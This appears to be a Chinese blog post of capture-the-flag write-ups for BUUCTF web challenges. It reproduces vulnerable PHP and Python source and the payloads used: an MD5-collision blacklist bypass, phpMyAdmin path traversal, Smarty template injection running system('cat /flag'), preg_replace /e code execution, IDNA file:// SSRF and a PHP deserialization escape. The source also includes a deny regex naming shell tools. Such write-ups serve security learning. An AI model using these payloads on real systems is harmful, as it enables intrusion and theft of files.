[安洵杯 2019]easy_web

F12看提示,是MD5

然后发现网址大致是这样的:

http://5c4777b1-c073-4ea9-b15f-bf5a849c6be5.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

Base64解密一下,看看结果,可惜解不出

添加一个等号后两次解密Base64,再Hex解密,得到文件名,可以访问,所以我们来用这个看看index.php的源码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|'|"|`|;|,|*|?|\|\\|n|t|r|xA0|{|}|(|)|&[^d]|@|||\$|[|]|{|}|(|)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

没有过滤dir,可以代替ls。同时我们可以发现,中间有一个关于MD5的判断。找了个现成的Payload:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
image.png

想办法绕过禁止的函数,于是有了个奇妙的操作:cp一份flag到web服务器上,然后http直接访问

image.png
image.png

根据网上wp的说法,可以在这些命令中插入反斜杠来绕过,试一把也行

image.png

[GXYCTF2019]BabyUpload

方法同这篇文章中的[MRCTF2020]你传你马呢。也是.htaccess绕过。

[BJDCTF2020]Mark loves cat

给了一个sample网站,输入点似乎只有最后的Contact。

网页底部有dog字样。

输入后地址栏多了一个message参数

扫描器直接上,扫出.git

然后就是Git利用了。很恶心,试了一堆工具,总是拉不下来正确的文件,最后把lijiejie的工具的线程数升到40才拉下来。有点奇怪。后面有空研究下为啥同时写一套自己的工具,别人的工具好多功能都没有。

然后获得了flag.phpindex.php,内容如下

flag.php

<?php

$flag = file_get_contents('/flag');
?>

index.php

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $x = $y;
}

foreach($_GET as $x => $y){
    $x = $y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;
?>

注意,exit()也是一种输出。所以我们把$_GET中的yds赋值为flag就完事了。

这样$yds会被赋值为$flag,然后就可以在第二个exit的时候退出。

[GWCTF 2019]我有一个数据库

存在phpMyAdmin,所以我们可以用phpMyAdmin来写Shell

这篇文章这篇文章提供了一些方法。

不过这里用不了,所以我们要使用phpMyAdmin自带的漏洞。

http://b675b371-1556-4165-9fd3-af06fc62f547.node3.buuoj.cn/phpmyadmin/index.php?target=db_datadict.php%253f/../../../../../../../../flag
image.png

[GKCTF2020]CheckIN

base64 shell,但是大量的函数被禁用

AntSword连接

可以使用这个exploit上传到/tmp,然后用include文件包含,得到flag

image.png

不过发现了一个有趣的情况:AntSword自带的bypass用不了。后面看看能不能修一下。

[BJDCTF2020]ZJCTF,不过如此

php://inputphp://filter/convert.base64-encode/resource=读源码,然后preg_replace /e命令执行

Payload:

S*=${getflag()}&cmd=readfile("/flag");
image.png

[BJDCTF2020]The mystery of ip

SSTI 模板注入,PHP Smarty。

Payload

{if system("cat /flag")}{/if}
image.png

[BJDCTF 2nd]假猪套天下第一

随便登录上去,F12看源码看到L0g1n.php,之后一路加Header就完事了

image.png
image.png

[SUCTF 2019]Pythonginx

给了源码

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

然后不会了,于是去搜个题解

我们先看看Nginx的常用文件存放目录

配置文件存放目录:/etc/nginx
主要配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx

拼凑一波,得到payload

file://suctf.c℆sr/local/nginx/conf/nginx.conf

file://suctf.c℆sr/fffffflag

[0CTF 2016]piapiapia

啥也看不出来,也登不上去

于是就来试试扫描器

然后扫描到了www.zip

于是看看内容,大致明白是个反序列化,可惜不太会用,找个题解

我感觉题解说的还不算特别清楚,再演示一下这个转换的效果

第一步:

image.png

我们可以看到,反序列化时只要前面的部分是满足反序列化格式,后面一半随便怎么写都行

第二步:

注意到源码中有个替换,会把短字符串增长,那么我们构造的原Payload经过增长后,会有一部分字符从前面顶到后面去,而反序列化的时候只看两个冒号中数字是否可以对应,那么只要长的恰到好处,整个Payload的后半部分就会被当成一个新的元素而不是前面字符串中的一部分。

比如本题:

where => hacker

s:18:"wherewherewhere";}";}

=>

s:18:"hackerhackerhacker";}";}

这时可以发现,三个hacker刚好长度18,然后后面恰好又满足反序列化格式,所以最后三个原来应该算在字符串中的值就被当成了结束的符号,原来的结束符号就被丢弃了。那么,只要能增加更长的Pad,我们就可以覆盖掉原来的Payload中应当算字符串的部分,就可以把那一部分算成新的元素了。

现在我们要掩盖以下Payload:

";}s:5:"photo";s:10:"config.php";}

长度为34(前面的括号是因为要用数组绕过nickname长度限制,从而上传成功图片)

所以我们就可以成功的利用这个来逃逸

编造Payload

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
image.png
image.png
image.png
It is my final heart.
最后更新于 2022-07-24